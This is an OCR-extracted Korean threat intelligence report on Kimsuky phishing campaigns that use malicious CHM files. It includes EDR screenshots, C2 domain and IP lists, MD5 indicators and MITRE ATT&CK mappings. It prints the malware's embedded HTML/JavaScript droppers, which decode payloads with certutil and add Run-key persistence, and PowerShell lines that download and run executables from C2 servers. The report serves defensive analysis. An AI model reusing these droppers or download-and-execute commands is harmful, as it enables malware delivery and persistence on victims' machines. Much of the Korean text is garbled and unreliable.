2023-09-22 13:20:04
ChildProcessCreate
hhexe B
C:#Windowswhh exe

1648

Process User ID user
Integrity Level MEDIUM
Child Process mshtaexe

Command Line

explorer.exe

parent process @
@ Detect Type
o Custom Tag x =]
.
.- 2 network event
K outgoing SEEEE]
I AT 2023-09-22 13:20:05
x| A E) wvisc
’
. g
.
@ - £ID T1218.001 - System Binary Proxy Execution:
Compiled HTML File (Custom_00001)
" B =
3 file event mshta.exe 2] mshta.exe
child process NEE 100%
T1218.001 - System Binary Proxy Execution: Compiled HTML
File (Custom_00001)

[12! 4-31] Genian EDRS £5t MSHTA &
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T SLE 2RLEL| F2 E HRLEL| O|FS

El “Document’?} OFH “Update”2t= 2|R|AEZ| 0|28

ir w

O W3, DAT, VBS, JSE I}0] 02 U 4% Z20|M &2 RAIEES 20|1 9lon,
JSE 2 FHEE = JSE IIYY L} B=20| HelE & AME S &l &~ JUS LT
= EfZ| A AEE| DAT I} VBS / JSE
o3 =] mjoly = mjo|2E A4
'IT% lé|'7>l|' CHM I'Eo 70_12 7c:>|§ ]II'OEI 70_1E " IE— oE
HKCUWSOFTWA
User Guide.chm REWMicrosoftw | % USERPROFI | % USERPROFI
VBS 1[2022-03]asset.chm WindowsWCurre | LE % WLinks¥ |LE%WLinksW¥ | %tmp % Wadvupdate.exe
wages.chm ntVersion¥WRun |Document.dat|Document.vbs
WDocument
Arteriosclerosis.chm | HKCU#SOFTWA o o .
inherit.chm REWMicrosoft# |%USERPROFI |%USERPROFI (ﬁmpéaxg;io&géexe
JSE 1 [2022-04|lost.chm Windows¥ttCurre | LE % WLinks¥# |LE % Linksw "/()tmp‘yowlsass.exe
salary.chm ntVersionWRun |Document.dat|Document.jse cy° po/° o
7|2 chm wDocument otmpZeisinost.exe
HKCUWSOFTWA
HdEEAMY0|EZZ |REWMicrosoftw | % USERPROFI | % USERPROFI
VBS 212023-04|8 HEES chm WindowsWCurre | LE % WLinksw |LE % WLinksW |demo.txt
Message.chm ntVersionwRun |Document.dat{Document.vbs
WDocument
HKCUWSOFTWA
- REWMicrosoftw C:#WUserswPu | o
JSE 2(2022-12 \I/Jvlr?i'tBeytg or chm WindowsWCurre - blic¥tLibraries (f%mpé’xggg:lfge
Paper. ntVersion¥WRun WwDocs.jse otmp~o :
WDocument
HKCUWSOFTWA
**ins_secure.chm |REWMicrosoftw C:wWUserswWPu
JSE 312023-07 |Message.chm WindowsWCurre - blic¥tLibraries
**x*card.chm ntVersionWRun wDocs.jse
WDocument
HKCUWSOFTWA *otmp%Walg.exe
JSE 4 REWMicrosoftw C:wUserswPu
22) 2023-08]sgic_info.chm WindowswCurre - blicLibraries
e ntVersionWRun wDocs.jse
WUpdate
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49 . HTML 2= TrAl'E

O HTML I}
AR2lE o2

Threat Intelligence Report

O EBh, ISE 2 REREIS HTML 0| O AIZES BoHA|7|2] 943 oy ISE
THY AR CHM TRUOl HMUs) ALRSLICE 10 M2t HTML REE 223
%2 =oIg 4 AsLct

VBS 1 JSE 1

<OBJECT id=shortcut
classid="clsid:52a2aaae-085d-4187-97ea-8c30db99
0436" width=1 height=1>

<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap:shortcut")>
<PARAM name="Item1" value="',cmd, /c echo
[BASE64 Code] >

"% USERPROFILE % W Links¥WDocument.dat" & start
/MIN certutil -decode

"% USERPROFILE % ¥ Links¥WDocument.dat"

"% USERPROFILE % W Links¥WDocument.vbs" & start
/MIN REG ADD
HKCUWSOFTWAREWMicrosoftwWindowswCurrent
VersionWRun /v Document /t REG_SZ /d

"% USERPROFILE % W Links#wDocument.vbs" /f'>
<PARAM name="Item2" value="273,1,1">

<OBJECT id=shortcut
classid="clsid:52a2aaae-085d-4187-97ea-8c30db99
0436" width=1 height=1>

<PARAM name="Command" value="ShortCut")>
<PARAM name="Button" value="Bitmap:shortcut")
{PARAM name="ltem1" value=',cmd, /c echo
[BASE64 Code] >

"% USERPROFILE % ¥ Links#WDocument.dat" & start
/MIN certutil -decode

"% USERPROFILE % ¥ Links#WDocument.dat"

"% USERPROFILE % WLinks¥WDocument.jse" & start
/MIN REG ADD
HKCUWSOFTWAREWMicrosoftwWindowswCurrent
VersionWRun /v Document /t REG_SZ /d

"% USERPROFILE % W#Links#WDocument.jse" /f'>
{PARAM name="ltem2" value="273,1,1">

<PARAM name="Command" value="ShortCut">
<{PARAM name="Button" value="Bitmap:shortcut")>
<PARAM name="Item1" value="',cmd, /c echo
[BASE64 Code] >

"% USERPROFILE % W#Links#WDocument.dat" & start
/MIN certutil -decode

"% USERPROFILE % ¥ Links#WDocument.dat"

"% USERPROFILE % W#Links¥WDocument.vbs" & start
/MIN REG ADD
HKCUWSOFTWARE#WMicrosoftwWindowswCurrent
VersionWRun /v Document /t REG_SZ /d

"% USERPROFILE % WLinksWDocument.vbs" /f'>
{PARAM name="ltem2" value="273,1,1">

</OBJECT)
<script)
shortcut.Click();

</OBJECT) </OBJECT)
{SCRIPT) <{SCRIPT>
shortcut.Click(); shortcut.Click();
</SCRIPTY </SCRIPT>
VBS 2 JSE2/3/4
<OBJECT id=shortcut <script)
classid="clsid:52a2aaae-085d-4187-97ea-8c30db99
0436" width=1 height=1)> var path =

decodeURIComponent(window.location.href), inner

var ps = path.indexOf('.chm::/*) +

var cmdline = ',hh,-decompile
CtrwUsersiwwPublicwwlibraries ' + path.substr(14
ps - 14);

inner = 'COBJECT id="A"
classid="clsid:52a2aaae-085d-4187-97ea-8c30db99
0436" style="visibility:hidden">";

inner += 'CPARAM name="Command"
value="ShortCut"><{PARAM name="Button"
value="Bitmap:shortcut">";

inner += 'CPARAM name="Item1" value="" +
cmdline + ""><PARAM name="ltem2"
value="273,1,1"></OBJECT)>";

document.getElementByld('par').innerHTML =
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</SCRIPT> inner;
A.Click();

inner = 'COBJECT id="B"
classid="clsid:52a2aaae-085d-4187-97ea-8c30db99
0436" style="visibility:hidden")>";

inner += 'CPARAM name="Command"
value="ShortCut"><PARAM name="Button"
value="Bitmap:shortcut">";

inner += 'PARAM name="Item1"
value=",wscript, C:WwWUserswwPublicwLibrariesw
wDocs.jse P"><PARAM name="Item2"
value="273,1,1"></OBJECT>";

document.getElementByld('par').innerHTML =
inner;

B.Click();

</script)

4.10. Powershell ZE fAIT

O VBS®} JSE 83 25 Powershell2 %EH 2AHZ tol C2 MB{o|M 2N mo|ZEE
CRERE T Adllsts ™S 7122 2B, VBS 2 RS AlQIst 2 |FAHOM
SYot AEE Aot AEL
VBS 1 JSE 1
“cmd /c powershell iwr -outf "cmd /c powershell iwr -outf
%tmp % Wadvupdate.exe [C2 Server] & start %tmp % Waudiodg.exe [C2 Server] & start
%tmp % Wadvupdate.exe",0,false %tmp % Waudiodg.exe", 0,false;
VBS 2 JSE2/3/4
"cmd /c powershell -command ""iex (wget "cmd /c powershell iwr -outf
xxx/demo.txt).content; InfoKey -ur 'xxx'""" %tmp % Walg.exe [C2 Server] &start
%tmp % Walg.exe"), O, false
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4.11. C2 =02l

O JSE 1 REEEHE

ool 93

U,

Ct
=

Threat Intelligence Report

AL

O C2 ZHRIME FAIEE
51 OFHOJ| A 27T Kimsuky EA109] C2 0|01t SALSH

B0I5t £~ IO, VBS 1/ JSE 1 9
EN7H ALB RS

C2 =01 HEHOf &

St H, J2f e fﬂ%@ BiS =2 AL

Jo| COj|Qle 2H4

—L— 71

7122 Kimsuky

o=
'IT%i

Eg

C2 Domain

Kimsuky | 2022-05-13

mc|[.]pzs.kr/themes/mobile/images/about/temp/upload/list.php?query=1

2022-02-09

sktelecom[.]help/download/select.php?type=1

2022-03-15

encorpost[.]Jcom/post/post.php?type=1

2022-03-15

want-helper[.]Jcom/database/db.php?type=1

2022-03-15

nhn-games[.Jcom/game03953/gamelist.php?type=1

2022-03-15

sktelecom[.]help/download/select.php?type=1

VBS 1
2022-03-15

want-helper[.]Jcom/database/db.php?type=1

2022-03-17

hillokay[.]Jcom/config/conf.php?type=1

2022-03-18

vhostnetwork[.]Jcom/core/config.php?type=1

2022-03-21

foxiebed/database/db[.Jphp?type=1

2022-04-08

foxiebed[.]Jcom/database/db.php?type=1

2022-04-01

vhostnetwork[.]Jcom/core/config.php?type=1

2022-04-03

successgoo[.]Jcom/database/db.php?type=1

JSE 1 2022-04-08

foxiebed[.]Jcom/database/db.php?type=1

2022-05-02

cerebrovascular[.]net/resource/post

2022-05-04

trueliebe[.Jcom/kettle/pot

JSE 2 2022-12-27

shoru[.]net/db/main_db

2023-03-15

ibsql.]col.1kr/config

VBS 2
2023-04-17

ibsq[.]col.]kr/m.layouts

2023-07-17

atusay[.]lat/kxydo

2023-07-19

ppangz[.Jmom/mijifi

2023-08-11

drimby[.]top/wndfi

JSE3 2023-08-11

labimy[.]ink/rskme

2023-08-11

crilts[.]cfd/cdeeb

2023-08-14

nobuay[.link/yzkah

JSE 4 2023-08-01

cheth[.]lol/aigaj

9 Ahnlab - CIoFst ZA|0| B2 S ALZISE Kimsuky =
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RFYER 2F510
HHOM Powershell Z&, 2[Z Ho|2E & C

| RAPSS BOIT 4 910D, B B2 Kimsu

N
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https://learn.microsoft.com/en-us/windows/whats-new/deprecated-features-resources#vbscript
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E h [ ] o
O Genian EDRE LWE3SHEl VBS, JSE, Powershell 52 2873t oty Qe A2 4
L ErZ| O|HIEQS SEZ =1 HE&sHH EXg & JUEF JHEE Alsste
O'A'—ICP otd CHMIIQ| 0|4t 32| 2|S O|HIEE A|Z3lst0] Al CHAYH S &2
&otA oetstn s 4~ UESL[CE

Em |
WORKGROUP \ user

explorer.exe
parent process

3 file event wscript.exe

hh.exe
process

So e

Event Time 2023-09-27 13:52:25
Event Type ChildPrecessCreate
Process Name hhexe B

Process Path  C:wWindows¥hh.exe

Process 1D 5548
Process User ID user
Integrity Level MEDIUM

Child Process hh.exe B

Command Line

Detect Type

child pro’ceﬂ outgoing Custom Tag
' -—————— . -
' - TTeea HE H=
LX| A2 09-27 13-
hh.exe A AIZ 2023-09-27 13:52:26
qm process SHX] WX ED» wmisc
g
£ 0 T1218001 - System Binary Proxy Execution:
2 rle event 2 ﬁle event Compiled HTML File (Custom_00001)
/ ' BAN YW hhew
‘ i
[0) . ) Mele 100%
- ‘ ’
'Y T1218.001 - System Binary Proxy Execution: Compiled HTML
@ & File (Custom_00001)
8 file event 6 module event 169 registry event cmd.exe
child process
ne Hyw
2| 5- ] A | |‘O o=
[O1gl 5-1] 2E2| 2l S EX
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: e . R - |-
1k Matware @ v @ x8A @ A0 A0 A0 A4
HziE L o7 8 X HRER e gex AEEE a0 487 P 4872 O3 ay
50 % 2023-09-27 13:53:07 XBA LaterslMovement  alg.exe O 2/ 1% Y= DB 24 P9 o[ HTL7H TTHE (50%) 10+ Al
RS 100%  2023-09-27 13:53:07 XBA Misc alg.exe O 2/ T1217 - Browser Information Discovery O 4E#... a7
0 -
2023-09-27 13:52:33 Exploit ofl olg
size : ) .
100 % 2023-09-27 13:52:26 XBA Misc hh.exe 0l 2|3t T1218.001 - System Binary Proxy Execution: Comp... A
0
—
|
4 M ° » 30 v |74 =7 1-4/4 O
ol 2o OlaHe E2Ms  HA S5 WCERE R d3 =
0 etx xE [EZP hhexe of 218 T1218.001 - System Binary Proxy Execution: Compiled HTML File O s 2
AT FCHE (100%) E2M2Y hhexe
Z2M2 A2 CWWindowswhh.exe
g aw i i i cHLibrari
! XBA / Misc Hucatel [C hhexe” e CU ibraries
+8 2242 hhexe < (Ci#Users¥user#Desktop#11690570711#jse¥sgic_info.chm
O[AIE A|2} 2023-09-27 13:52:25
O|¥ME  process / ProcessStart
B
s{oicatel [CEWindowswhh.exew CHUserswuserDesktop#1169057071 T#jse¥sgic_info.chm
Qok L|E T1218.001 - System Binary Proxy Execution: Compiled HTML File (Custom_00001)

(13 5-2] O] Al Z2M|A HUME EFZ] LY

o
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6. 25l A| & (Indicator of Compromise)
6.1. MD5

acc6263bd54de778c1e22373d73887ab
3ae6503e836b295955a828a76ce2efa?
d26481e376134dc14966ccab39b91116
ae43f4d4c6123294b213ede294032944
5f1091df4c74412ef59426c1bb65f4d0
997165ed836b8a2abaf5cf2d43af5803
d03d6ffa859a1b19cde340ad991 1aadf
853455c5def2e048eca09e5b63356062
c0e5abb30b59316ec3c350200d8f3eeb
61f97f0d78a7c835c194690a782f380b
85bcdc018431f26d42e2622881be9a87
1449f326dac3e20b96b00b46b4 1be8d9
4f12cb7a552e165681c5537436e22a68
18a86d0f2f59251b64389b7a3e850dcc
1b5e324b3b4f47bfdeaef1945e28c977
4e055d5¢2b5b4d0948a4cda30781cb69
058b77f8865fb724a67fa49dff6f47e0
45ad2da07bc73349c1c6f1dfe34f0b7d
ad1c29d410ac712ddf20c03d27756239
3543327e1cbf5418f1705af513fe295e
aac428717f4b5ea1bfac9ae0998e661c
e5699f50b094a90a242bc27279596bf8¢
13446d8496858c2eac78e5e985af605b
7467a360837a85acebe14acc879e00e5
47a3c797313747cc40bd0070920282c4
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e267aa39a15e33909dae39ec74828f8b
2d8885fdf78dc367623c1bb9f7430535
ded83a6bd7438b34b058f2fe5ee54c7e
5f88da72abdbd23da4df12385f26eb99
aaeb059d62c448cbeadcfo6f1bbfefa
59a924bb5cb286420edebf8d30ee424b
d8fde512981c2e3f6f9495a857de54ee
bObed133fa08e36d05f0361aefa5cbhd1
0f27c6e760c2a530ee59d955c566f6da
bfe2a050417fb1326128763644c88d37
2002dd3cf9e2ef96b74a99%eee0dd5ec]
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6.2. C2 &
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coel IP =7}
sktelecom[.]help 209.99.40[.]222 us
encorpost[.Jcom 172.67.199[.]138 us
want-helper[.]Jcom 15.197.130[.]1221 us
nhn-games|[.Jcom 2.57.90[.]16 GB
hillokay[.]Jcom 185.212.70[.]16 us
vhostnetwork[.]Jcom | 172.67.133[.]244 us
successgool[.Jcom 185.212.71[.]216 us
foxiebed[.]Jcom 185.212.71[.]135 US
cerebrovascular[.]net | 82.180.174[.]174 us
trueliebe[.]Jcom 104.21.49[.]95 us
shorul[.]net 104.21.24[.]215 Us
ibsq[.]co[.]kr 117.52.20[.]17 KR
atusay|.]lat 104.21.8[.]1225 us
ppangz[.Jmom 104.21.7[.]160 us
cheth[.]lol 104.21.88[.]122 us
drimby[.]top 104.21.78[.]220 us
labimy[.]ink 172.67.209[.]126 us
crilts[.]cfd 104.21.18[.]83 us
nobuay/[.]ink 104.21.25[.]7 us
plifty[.]lat 172.67.137[.]14 us
honess[.]fun 172.67.133[.]34 us
sgibn[.]Jcam 192.3.189[.]184 us
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. =24 Z|H (Indicator of Attack)
7.1. MITRE ATT&CK Matrix

Tactic Technique Description
Phishing for Information: Spearphishing
. 11598.002
Reconnaissance Attachment
T11598.003 Phishing for Information: Spearphishing Link
Resource 11585 002 Establish Accounts: Email Accounts
Development |71585 003 Establish Accounts: Cloud Accounts
. 11566.002 Phishing: Spearphishing Link
Initial Access — . ; )
T1566.003 Phishing: Spearphishing via Service
Command and Scripting Interpreter:
R PowerShell
Command and Scripting Interpreter: Windows
Execution — Lo Command Shell
T1059 007 Comma}nd and Scripting Interpreter:
— JavaScript
11204.002 User Execution: Malicious File
. Boot or Logon Autostart Execution: Registry
Persistence  111247.001 Run Keys / Startup Folder
T1070.004 Indicator Removal: File Deletion
Defense Evasion 11140 Deobfuscate/Decode Files or Information
System Binary Proxy Execution: Compiled
11218.001 HTML File
T1012 Query Registry
Discovery 11082 System Information Discovery
11083 File and Directory Discovery
Collection T1119 Automated Collection
Exfiltration 11041 Exfiltration Over C2 Channel
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https://attack.mitre.org/techniques/T1598/002/
https://attack.mitre.org/techniques/T1598/003/
https://attack.mitre.org/techniques/T1585/002/
https://attack.mitre.org/techniques/T1585/003/
https://attack.mitre.org/techniques/T1566/002/
https://attack.mitre.org/techniques/T1566/003/
https://attack.mitre.org/techniques/T1059/001/
https://attack.mitre.org/techniques/T1059/003/
https://attack.mitre.org/techniques/T1059/007/
https://attack.mitre.org/techniques/T1204/002/
https://attack.mitre.org/techniques/T1547/001/
https://attack.mitre.org/techniques/T1070/004/
https://attack.mitre.org/techniques/T1140/
https://attack.mitre.org/techniques/T1218/001/
https://attack.mitre.org/techniques/T1012/
https://attack.mitre.org/techniques/T1082/
https://attack.mitre.org/techniques/T1083/
https://attack.mitre.org/techniques/T1119/
https://attack.mitre.org/techniques/T1041/
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